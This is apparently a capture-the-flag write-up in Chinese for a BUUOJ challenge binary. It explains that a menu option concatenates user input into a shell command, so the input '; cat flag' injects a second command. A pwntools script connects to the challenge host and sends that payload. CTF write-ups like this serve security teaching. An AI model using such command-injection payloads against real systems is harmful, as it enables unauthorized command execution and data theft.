# 1. 分析程序


64 位程序,开启了 NX


发现 case 1 中有后门函数,利用 strcat 函数进行拼接,那么我们就可以通过指令的连续执行来获取 flag

通过 ; 符合就可以分隔连续执行 linux 命令,那么我们只需要输入 ; cat flag 就能得到 flag

# 2.exp (其实完全不需要,直接 nc 连接就可以):

n
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p=remote('node4.buuoj.cn',27288)
shellcode = asm(shellcraft.sh())
p.recvuntil("choose:\n")
p.sendline(b"1")
p.recvuntil("address:\n")
payload1="; cat flag"
p.sendline(payload1)
p.interactive()